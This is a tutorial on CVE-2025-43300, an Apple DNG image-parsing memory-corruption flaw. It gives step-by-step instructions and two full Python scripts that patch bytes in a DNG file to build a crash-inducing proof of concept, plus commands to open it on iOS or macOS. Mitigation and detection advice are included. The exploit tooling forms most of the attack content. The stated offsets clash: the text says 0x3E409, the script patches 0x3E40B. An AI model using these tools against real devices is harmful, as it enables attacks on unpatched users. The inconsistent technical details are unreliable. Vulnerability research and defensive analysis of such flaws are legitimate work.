iOS/macOS Critical DNG Image Processing Memory Corruption Exploitation
Learn about the new critical CVE-2025-43300 vulnerability that allows RCE on iOS & macOS.
Welcome to this comprehensive tutorial on CVE-2025-43300, a critical memory corruption vulnerability in Apple's image processing framework. This zero-click vulnerability affects iOS 18.6.1 and macOS systems, allowing potential remote code execution through specially crafted DNG (Digital Negative) image files.
In this tutorial, you'll learn:
- The technical details of this metadata-stream inconsistency vulnerability
- How to analyze DNG files for vulnerable conditions
- How to create proof-of-concept exploit files
- The underlying memory corruption mechanism
- Mitigation strategies and defensive techniques
Disclaimer: This tutorial is for educational purposes only. Never test modified files on systems you don't own, and always follow responsible disclosure practices.
Prerequisites
Before beginning, ensure you have:
- Python 3.6 or newer installed
- A test DNG file (available from camera manufacturer sample galleries)
- An isolated testing environment (virtual machine or dedicated test device)
- Basic understanding of hexadecimal notation and file formats
Understanding the Vulnerability
Technical Overview
CVE-2025-43300 exploits a fundamental inconsistency in how Apple's RawCamera.bundle processes DNG files. The vulnerability stems from a mismatch between:
- SamplesPerPixel metadata in TIFF headers (indicating expected color components)
- SOF3 component count in JPEG Lossless streams (specifying actual data components)
When these values differ, memory allocation and processing become misaligned, leading to memory corruption.
Memory Corruption Flow
The exploitation process follows this sequence:
- Parser reads SamplesPerPixel from TIFF metadata (e.g., 2 components)
- System allocates buffer: width × height × 2 components
- JPEG decoder reads SOF3 component count (e.g., 1 component)
- Decoder writes data based on inconsistent assumptions
- Buffer overflow occurs when more data is written than allocated
Setting Up the Analysis Environment
File Structure Overview
DNG files use a TIFF container format with this basic structure:
TIFF Header → IFD Chain → SubIFDs → Image Data
├── Metadata Tags (SamplesPerPixel, Compression, etc.)
├── JPEG Lossless Streams (SOF3 markers)
└── Pixel Data (compressed)
Key Vulnerability Locations
- SamplesPerPixel Tag: TIFF tag 0x0115 in IFD structures
- SOF3 Markers: JPEG Lossless Start of Frame (0xFFC3)
- Component Count: Byte offset +9 from SOF3 marker
Analyzing DNG Files
Using the DNG Vulnerability Analyzer
The dng_vulnerability_analyzer.py
script found at the bottom of this tutorial examines DNG files for vulnerable conditions:
python3 dng_vulnerability_analyzer.py IMGP0847.DNG
The analyzer performs these key functions:
- TIFF Header Identification: Locates and interprets the TIFF header
- IFD Parsing: Extracts critical metadata tags including SamplesPerPixel
- JPEG Stream Analysis: Identifies SOF3 markers and component counts
- Vulnerability Assessment: Detects metadata/stream inconsistencies
Interpreting Analysis Results
After running the analyzer, you'll see output like this:
Analyzing DNG file: IMGP0847.DNG
File size: 24,576,000 bytes (23.44 MB)
TIFF header (little-endian) at: 0x0
Analyzing IFD_0 at offset 0x2FCE0
Entries: 14
SamplesPerPixel: 1 (at 0x2FD00)
Compression: JPEG
Width: 6000
Height: 4000
Searching for JPEG Lossless streams...
SOF3 marker at: 0x3E400
Length: 17 bytes
Precision: 8 bits
Dimensions: 6000 x 4000
Components: 2 (byte at 0x3E409)
VULNERABILITY ANALYSIS
============================================================
Current state:
SamplesPerPixel (metadata): 1
Metadata location: 0x2FD00
JPEG Stream 1 components: 2
Component count location: 0x3E409
File appears consistent (no immediate vulnerability)
To create test case for research:
1. Modify byte at 0x2FD00 (SamplesPerPixel)
2. Modify byte at 0x3E409 (Stream 1 components)
This output shows a consistent file (not vulnerable) but provides the offsets needed to create a POC.
Creating Proof-of-Concept Exploits
Using the Safe Hex Modifier
The hex_modifier.py
script safely modifies specific bytes to create vulnerability conditions:
# Create a complete POC from a known vulnerable file
python3 hex_modifier.py create-poc IMGP0847.DNG
# Manually modify specific bytes
python3 hex_modifier.py modify IMGP0847.DNG 0x2FD00 0x01 0x02 modified.dng "SamplesPerPixel increase"
# Generate a diff report between files
python3 hex_modifier.py diff original.dng modified.dng
Step-by-Step POC Creation
-
Analyze the target file to identify modification points:
python3 dng_vulnerability_analyzer.py IMGP0847.DNG
-
Create the vulnerable sample using identified offsets:
python3 hex_modifier.py create-poc IMGP0847.DNG
This performs two critical modifications:
- Increases SamplesPerPixel metadata (typically from 1 to 2)
- Decreases SOF3 component count (typically from 2 to 1)
-
Verify the POC confirms the inconsistency:
python3 dng_vulnerability_analyzer.py vuln_poc_IMGP0847.dng
Understanding the Modifications
The POC creates this specific inconsistency:
Offset | Original Value | Modified Value | Effect |
---|---|---|---|
0x2FD00 | 0x01 | 0x02 | Metadata claims 2 components |
0x3E409 | 0x02 | 0x01 | Stream contains 1 component |
This mismatch causes the memory corruption vulnerability.
Testing the Exploit
Safe Testing Practices
When testing the POC:
- Use isolated systems: Virtual machines or dedicated test devices
- Create snapshots: Before testing POC files
- Monitor crashes: Check system logs and crash reports
- Network isolation: Prevent unintended file sharing
Expected Behavior
- Vulnerable systems: Application crash, memory corruption errors
- Patched systems: Graceful error handling or correct processing
- Timing: The crash typically occurs 1-3 minutes after processing
Testing Methods
-
Direct opening:
open vuln_poc_IMGP0847.dng
-
Preview generation:
qlmanage -p vuln_poc_IMGP0847.dng
-
Import testing: Attempt to import into Photos or other image applications
Technical Deep Dive
Memory Corruption Mechanism
The exploitation process works as follows:
-
Allocation Phase:
- Image parser reads SamplesPerPixel = 2 from metadata
- Allocates buffer for 2 components worth of pixel data
- Buffer size = image_width × image_height × 2
-
Processing Phase:
- JPEG Lossless decoder encounters SOF3 with 1 component
- Parsing logic becomes confused about actual vs expected data size
- Attempts to write data based on inconsistent assumptions
-
Memory Corruption:
- More data written to buffer than originally allocated
- Buffer overflow corrupts adjacent memory regions
- Results in application crash or potential code execution
File Format Specifics
DNG files use a TIFF container format with embedded JPEG Lossless streams:
- TIFF metadata describes image properties and color information
- JPEG streams contain compressed pixel data
- Trust relationship exists between metadata and stream content
- Validation gap allows inconsistent values to reach processing code
Mitigation Strategies
Vendor Patches
Apple has addressed this vulnerability in:
- iOS 18.6.2 and later
- macOS updates with similar image processing fixes
The fix implemented proper metadata validation and consistency checks between metadata and stream parameters.
Defensive Measures
- Update systems: Install the latest iOS and macOS updates
- Input validation: Verify metadata consistency in custom parsers
- Bounds checking: Implement strict buffer size validation
- Fuzzing: Regular testing of file format parsers
- Network filtering: Block suspicious DNG files at network boundaries
Detection Methods
Security teams can detect exploitation attempts through:
- File analysis: Tools like the DNG Vulnerability Analyzer can scan for malicious files
- Behavior monitoring: Detect abnormal crashes in image processing services
- Network monitoring: Identify unusual transfers of DNG files
Advanced Analysis Techniques
Customizing the Analysis Tools
Both Python scripts can be modified for specific research needs:
-
Extending tag detection in
dng_vulnerability_analyzer.py
:# Add additional TIFF tags to analyze TAGS_OF_INTEREST = { 0x0115: "SamplesPerPixel", 0x0103: "Compression", 0x011A: "XResolution", 0x011B: "YResolution", # Add more tags as needed }
-
Adding safety checks in
hex_modifier.py
:# Implement additional validation before modification def validate_modification(data, offset, expected_value): if data[offset] != expected_value: raise ValueError(f"Expected {expected_value} at offset {offset}, found {data[offset]}") return True
Automating Analysis
For batch processing multiple files:
#!/bin/bash
# Batch analysis script
for file in *.dng; do
echo "Analyzing $file"
python3 dng_vulnerability_analyzer.py "$file" > "analysis_${file%.dng}.txt"
done
Conclusion
CVE-2025-43300 demonstrates the critical importance of validating consistency between metadata and actual data content in file format parsers. This tutorial has provided:
- A comprehensive understanding of the vulnerability mechanics
- Practical tools for analyzing DNG files
- Step-by-step instructions for creating proof-of-concept exploits
- Defensive strategies for mitigation
Key Takeaways
- Metadata-stream inconsistencies can lead to serious memory corruption conditions
- Zero-click vulnerabilities pose significant risks to mobile devices
- File format complexity creates unexpected attack surfaces
- Comprehensive validation is essential in parser implementation
Ethical Considerations
Remember these important guidelines:
- Only test on systems you own or have explicit permission to test
- Never share malicious files publicly
- Report vulnerabilities responsibly to vendors
- Use knowledge gained for defensive purposes
Further Resources
Appendices
Complete Tool Source Code
The python scripts were taken from https://github.com/hunters-sec/CVE-2025-43300. Go star them!
hex_modifier.py
#!/usr/bin/env python3
import sys
import hashlib
from pathlib import Path
def calculate_hash(data):
return hashlib.sha256(data).hexdigest()
def safe_modify_byte(input_file, output_file, offset, old_value, new_value, description=""):
input_path = Path(input_file)
output_path = Path(output_file)
if not input_path.exists():
print(f"Input file not found: {input_file}")
return False
original_data = bytearray(input_path.read_bytes())
original_hash = calculate_hash(original_data)
print(f"Processing: {input_file}")
print(f"File size: {len(original_data):,} bytes")
print(f"Original SHA256: {original_hash}")
if offset >= len(original_data):
print(f"Offset 0x{offset:X} is beyond file end (0x{len(original_data):X})")
return False
current_byte = original_data[offset]
if current_byte != old_value:
print(f"Warning: Expected 0x{old_value:02X} at offset 0x{offset:X}")
print(f" Found: 0x{current_byte:02X}")
response = input("Continue anyway? (y/N): ").lower()
if response != 'y':
return False
original_data[offset] = new_value
output_path.write_bytes(original_data)
modified_hash = calculate_hash(original_data)
print("Modification successful!")
print(f" Description: {description}")
print(f" Offset: 0x{offset:X}")
print(f" Change: 0x{old_value:02X} -> 0x{new_value:02X}")
print(f" Output: {output_file}")
print(f"Modified SHA256: {modified_hash}")
return True
def create_vuln_poc(input_file):
print("Creating vulnerability POC...")
print("This creates test files for educational research only!")
input_path = Path(input_file)
base_name = input_path.stem
step1_file = f"step1_{base_name}.dng"
if not safe_modify_byte(input_file, step1_file, 0x2FD00, 0x01, 0x02,
"SamplesPerPixel metadata increase"):
return False
final_file = f"vuln_poc_{base_name}.dng"
if not safe_modify_byte(step1_file, final_file, 0x3E40B, 0x02, 0x01,
"JPEG SOF3 component count decrease"):
Path(step1_file).unlink(missing_ok=True)
return False
Path(step1_file).unlink(missing_ok=True)
print(f"\nPOC created: {final_file}")
print("Changes made:")
print(" 1. SamplesPerPixel: 0x01 -> 0x02 (metadata says 2 components)")
print(" 2. SOF3 components: 0x02 -> 0x01 (stream says 1 component)")
print(" This creates the allocation/write mismatch!")
return True
def create_diff_report(original_file, modified_file):
orig_path = Path(original_file)
mod_path = Path(modified_file)
if not orig_path.exists() or not mod_path.exists():
print("Cannot create diff - files missing")
return
orig_data = orig_path.read_bytes()
mod_data = mod_path.read_bytes()
if len(orig_data) != len(mod_data):
print("File sizes differ - cannot create diff")
return
print("\nBinary Diff Report:")
print("="*50)
differences = []
for i, (orig_byte, mod_byte) in enumerate(zip(orig_data, mod_data)):
if orig_byte != mod_byte:
differences.append({
'offset': i,
'original': orig_byte,
'modified': mod_byte
})
if not differences:
print("No differences found")
return
print(f"Found {len(differences)} byte differences:")
for diff in differences:
print(f" Offset 0x{diff['offset']:08X}: 0x{diff['original']:02X} -> 0x{diff['modified']:02X}")
diff_file = f"diff_{orig_path.stem}_to_{mod_path.stem}.txt"
with open(diff_file, 'w') as f:
f.write("Binary Diff Report\n")
f.write(f"Original: {original_file}\n")
f.write(f"Modified: {modified_file}\n")
f.write(f"Differences: {len(differences)}\n\n")
for diff in differences:
f.write(f"0x{diff['offset']:08X}: 0x{diff['original']:02X} -> 0x{diff['modified']:02X}\n")
print(f"Diff report saved: {diff_file}")
def main():
if len(sys.argv) < 2:
print("DNG Vulnerability POC Creator")
print("Usage:")
print(" python3 hex_modifier.py <command> [args...]")
print("")
print("Commands:")
print(" analyze <file.dng>")
print(" modify <input.dng> <offset> <old_byte> <new_byte> <output.dng> [description]")
print(" create-poc <input.dng>")
print(" diff <original.dng> <modified.dng>")
print("")
print("Examples:")
print(" python3 hex_modifier.py create-poc IMGP0847.DNG")
print(" python3 hex_modifier.py modify sample.dng 0x1000 0x01 0x02 modified.dng 'test change'")
print(" python3 hex_modifier.py diff original.dng modified.dng")
sys.exit(1)
command = sys.argv[1].lower()
if command == "analyze":
if len(sys.argv) != 3:
print("Usage: python3 hex_modifier.py analyze <file.dng>")
sys.exit(1)
print("Use the DNG analyzer tool for detailed analysis:")
print(f"python3 dng_vulnerability_analyzer.py {sys.argv[2]}")
elif command == "modify":
if len(sys.argv) < 7:
print("Usage: python3 hex_modifier.py modify <input.dng> <offset> <old_byte> <new_byte> <output.dng> [description]")
sys.exit(1)
input_file = sys.argv[2]
offset = int(sys.argv[3], 0)
old_byte = int(sys.argv[4], 0)
new_byte = int(sys.argv[5], 0)
output_file = sys.argv[6]
description = sys.argv[7] if len(sys.argv) > 7 else ""
safe_modify_byte(input_file, output_file, offset, old_byte, new_byte, description)
elif command == "create-poc":
if len(sys.argv) != 3:
print("Usage: python3 hex_modifier.py create-poc <input.dng>")
sys.exit(1)
create_vuln_poc(sys.argv[2])
elif command == "diff":
if len(sys.argv) != 4:
print("Usage: python3 hex_modifier.py diff <original.dng> <modified.dng>")
sys.exit(1)
create_diff_report(sys.argv[2], sys.argv[3])
else:
print(f"Unknown command: {command}")
sys.exit(1)
if __name__ == "__main__":
main()
dng_vulnerability_analyzer.py
#!/usr/bin/env python3
import struct
import sys
from pathlib import Path
class DNGVulnAnalyzer:
def __init__(self, filepath):
self.filepath = Path(filepath)
if not self.filepath.exists():
raise FileNotFoundError(f"File not found: {filepath}")
self.data = self.filepath.read_bytes()
self.tiff_offset = 0
self.endian = '<'
self.vulnerability_data = {}
def find_tiff_header(self):
tiff_le = b'II\x2a\x00'
tiff_be = b'MM\x00\x2a'
le_pos = self.data.find(tiff_le)
be_pos = self.data.find(tiff_be)
if le_pos != -1:
self.tiff_offset = le_pos
self.endian = '<'
print(f"TIFF header (little-endian) at: 0x{le_pos:X}")
return True
elif be_pos != -1:
self.tiff_offset = be_pos
self.endian = '>'
print(f"TIFF header (big-endian) at: 0x{be_pos:X}")
return True
else:
print("No TIFF header found")
return False
def read_ifd(self, ifd_offset, ifd_name="IFD"):
abs_offset = self.tiff_offset + ifd_offset
print(f"\nAnalyzing {ifd_name} at offset 0x{abs_offset:X}")
if abs_offset + 2 >= len(self.data):
print("Offset beyond file end")
return None
entry_count = struct.unpack(f'{self.endian}H',
self.data[abs_offset:abs_offset+2])[0]
print(f" Entries: {entry_count}")
current_pos = abs_offset + 2
samples_per_pixel = None
compression = None
subifd_offset = None
for i in range(entry_count):
if current_pos + 12 > len(self.data):
break
entry = struct.unpack(f'{self.endian}HHII',
self.data[current_pos:current_pos+12])
tag, data_type, count, value = entry
if tag == 0x0115:
samples_per_pixel = value
self.vulnerability_data['samples_per_pixel'] = {
'value': value,
'offset': current_pos + 8,
'absolute_offset': current_pos + 8
}
print(f" SamplesPerPixel: {value} (at 0x{current_pos + 8:X})")
elif tag == 0x0103:
compression_types = {
1: "None",
7: "JPEG",
34892: "JPEG Lossless",
34712: "JPEG 2000"
}
compression = compression_types.get(value, f"Unknown ({value})")
print(f" Compression: {compression}")
elif tag == 0x014A:
subifd_offset = value
print(f" SubIFD at: 0x{value:X}")
elif tag == 0x0100:
print(f" Width: {value}")
elif tag == 0x0101:
print(f" Height: {value}")
current_pos += 12
if current_pos + 4 <= len(self.data):
next_ifd = struct.unpack(f'{self.endian}I',
self.data[current_pos:current_pos+4])[0]
if subifd_offset and subifd_offset != 0:
self.read_ifd(subifd_offset, "SubIFD")
return next_ifd if next_ifd != 0 else None
return None
def find_jpeg_lossless_streams(self):
print(f"\nSearching for JPEG Lossless streams...")
sof3_marker = b'\xFF\xC3'
pos = 0
found_streams = []
while pos < len(self.data):
pos = self.data.find(sof3_marker, pos)
if pos == -1:
break
print(f" SOF3 marker at: 0x{pos:X}")
if pos + 10 < len(self.data):
try:
length = struct.unpack('>H', self.data[pos+2:pos+4])[0]
precision = self.data[pos+4]
height = struct.unpack('>H', self.data[pos+5:pos+7])[0]
width = struct.unpack('>H', self.data[pos+7:pos+9])[0]
components = self.data[pos+9]
stream_info = {
'offset': pos,
'length': length,
'precision': precision,
'height': height,
'width': width,
'components': components,
'component_offset': pos + 9
}
found_streams.append(stream_info)
print(f" Length: {length} bytes")
print(f" Precision: {precision} bits")
print(f" Dimensions: {width} x {height}")
print(f" Components: {components} (byte at 0x{pos+9:X})")
if 'jpeg_streams' not in self.vulnerability_data:
self.vulnerability_data['jpeg_streams'] = []
self.vulnerability_data['jpeg_streams'].append(stream_info)
except (struct.error, IndexError):
print(f" Error parsing SOF3 at 0x{pos:X}")
pos += 1
if not found_streams:
print(" No JPEG Lossless streams found")
return found_streams
def analyze_vulnerability(self):
print(f"\n{'='*60}")
print("VULNERABILITY ANALYSIS")
print(f"{'='*60}")
samples_per_pixel = self.vulnerability_data.get('samples_per_pixel')
jpeg_streams = self.vulnerability_data.get('jpeg_streams', [])
if not samples_per_pixel:
print("No SamplesPerPixel metadata found")
return
if not jpeg_streams:
print("No JPEG Lossless streams found")
return
print(f"Current state:")
print(f" SamplesPerPixel (metadata): {samples_per_pixel['value']}")
print(f" Metadata location: 0x{samples_per_pixel['absolute_offset']:X}")
for i, stream in enumerate(jpeg_streams):
print(f" JPEG Stream 1 components: {stream['components']}")
print(f" Component count location: 0x{stream['component_offset']:X}")
vulnerable = False
for stream in jpeg_streams:
if samples_per_pixel['value'] != stream['components']:
print(f"\nPOTENTIAL VULNERABILITY DETECTED!")
print(f" Metadata says: {samples_per_pixel['value']} components")
print(f" JPEG stream says: {stream['components']} components")
print(f" This mismatch can cause buffer allocation/write issues!")
vulnerable = True
if not vulnerable:
print(f"\nFile appears consistent (no immediate vulnerability)")
print(f" To create test case for research:")
print(f" 1. Modify byte at 0x{samples_per_pixel['absolute_offset']:X} (SamplesPerPixel)")
for i, stream in enumerate(jpeg_streams):
print(f" 2. Modify byte at 0x{stream['component_offset']:X} (Stream {i+1} components)")
def generate_poc_offsets(self):
print(f"\nPOC GENERATION OFFSETS:")
print(f"{'='*40}")
samples_per_pixel = self.vulnerability_data.get('samples_per_pixel')
jpeg_streams = self.vulnerability_data.get('jpeg_streams', [])
if samples_per_pixel:
current_val = samples_per_pixel['value']
offset = samples_per_pixel['absolute_offset']
print(f"SamplesPerPixel modification:")
print(f" Offset: 0x{offset:X}")
print(f" Current: 0x{current_val:02X}")
print(f" Suggested change: 0x{current_val:02X} -> 0x{current_val+1 if current_val < 255 else current_val-1:02X}")
for i, stream in enumerate(jpeg_streams):
current_val = stream['components']
offset = stream['component_offset']
print(f"JPEG Stream {i+1} component count:")
print(f" Offset: 0x{offset:X}")
print(f" Current: 0x{current_val:02X}")
print(f" Suggested change: 0x{current_val:02X} -> 0x{current_val-1 if current_val > 1 else current_val+1:02X}")
def run_analysis(self):
print(f"Analyzing DNG file: {self.filepath}")
print(f"File size: {len(self.data):,} bytes ({len(self.data)/1024/1024:.2f} MB)")
if not self.find_tiff_header():
return
first_ifd_offset = struct.unpack(f'{self.endian}I',
self.data[self.tiff_offset+4:self.tiff_offset+8])[0]
current_ifd = first_ifd_offset
ifd_count = 0
while current_ifd and ifd_count < 10:
next_ifd = self.read_ifd(current_ifd, f"IFD_{ifd_count}")
if next_ifd and next_ifd != current_ifd:
current_ifd = next_ifd
ifd_count += 1
else:
break
self.find_jpeg_lossless_streams()
self.analyze_vulnerability()
self.generate_poc_offsets()
def main():
if len(sys.argv) != 2:
print("Usage: python3 dng_vulnerability_analyzer.py <dng_file>")
print("\nExample: python3 dng_vulnerability_analyzer.py IMGP0847.DNG")
sys.exit(1)
try:
analyzer = DNGVulnAnalyzer(sys.argv[1])
analyzer.run_analysis()
print(f"\n{'='*60}")
print("SECURITY REMINDER:")
print("- Only test modified files on isolated devices you own")
print("- Never share modified files publicly")
print("- Share analysis results and diffs only for research")
print("- Follow responsible disclosure practices")
print(f"{'='*60}")
except Exception as e:
print(f"Error: {e}")
sys.exit(1)
if __name__ == "__main__":
main()
Common Issues and Troubleshooting
- File not recognized as DNG: Ensure you're using a valid DNG file from a supported camera
- Offset beyond file end: The specific offsets may vary between different DNG files
- No SOF3 markers found: The file might not use JPEG Lossless compression
- Modification doesn't cause crash: The vulnerability may be patched on your system
Glossary
- DNG: Digital Negative, Adobe's raw image format based on TIFF
- TIFF: Tagged Image File Format, a flexible container format
- IFD: Image File Directory, contains metadata tags in TIFF files
- SOF3: Start of Frame marker for JPEG Lossless compression
- SamplesPerPixel: TIFF tag indicating number of color components per pixel